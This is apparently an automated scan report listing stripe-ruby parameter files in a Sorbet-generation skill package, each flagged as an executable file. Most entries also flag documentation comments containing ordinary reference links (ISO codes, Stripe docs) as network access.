packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 41
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 76
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 123
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 41
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 76
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 123
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/onboarding_link_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_cancel_action_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_collect_inputs_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 86
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_collect_payment_method_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_confirm_payment_intent_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_present_payment_method_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_process_payment_intent_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_process_setup_intent_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_refund_payment_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 21
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_set_reader_display_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 22
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 26
    # The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 28
    # Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_succeed_input_collection_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_timeout_input_collection_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/confirmation_token_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 60
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 68
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 263
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 383
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 411
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 596
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 604
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 646
    # Indicates that you intend to make future payments with this ConfirmationToken's payment method.       #       # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Pa
  • Network accessline 648
    # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/customer_fund_cash_balance_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100
  • Network accessline 9
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 13
    # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_capture_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 160
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 244
    # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 114
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 141
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 299
    # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 301
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 307
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
  • Network accessline 317
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
  • Network accessline 319
    # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 321
    # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_expire_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_finalize_amount_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 102
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 129
    # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_increment_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 12
    # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_respond_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_reverse_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_deliver_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_fail_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_return_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_ship_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_submit_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_activate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_deactivate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_reject_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_create_force_capture_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 203
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 287
    # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 291
    # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_create_unlinked_refund_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 203
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 287
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 291
    # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_refund_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/refund_expire_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_present_payment_method_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_succeed_input_collection_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_timeout_input_collection_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_advance_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_fail_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_return_inbound_transfer_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_succeed_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_fail_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_post_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_return_outbound_payment_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_fail_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_post_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_return_outbound_transfer_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/received_credit_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 35
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/received_debit_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 35
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/token_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 19
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 42
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 77
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 171
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF
  • Network accessline 173
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD
  • Network accessline 216
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 294
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 302
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 325
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 360
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 410
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 418
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 467
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 469
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 479
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 481
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 531
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 624
    # The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts)
  • Network accessline 755
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 763
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 786
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 821
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 870
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 879
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 888
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 912
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 920
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1019
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1021
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1031
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 1033
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 1075
    # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht
  • Network accessline 1077
    # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi
  • Network accessline 1087
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1089
    # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable.
  • Network accessline 1179
    # Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header](https://docs.stripe.com/connect

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/token_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 14
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 16
    # The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, this can be a test bank token (see [Test

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies).
  • Network accessline 16
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 18
    # You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until the original charge becomes available. [
  • Network accessline 22
    # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_list_params.rb

  • Executable scriptline 1
    Executable file

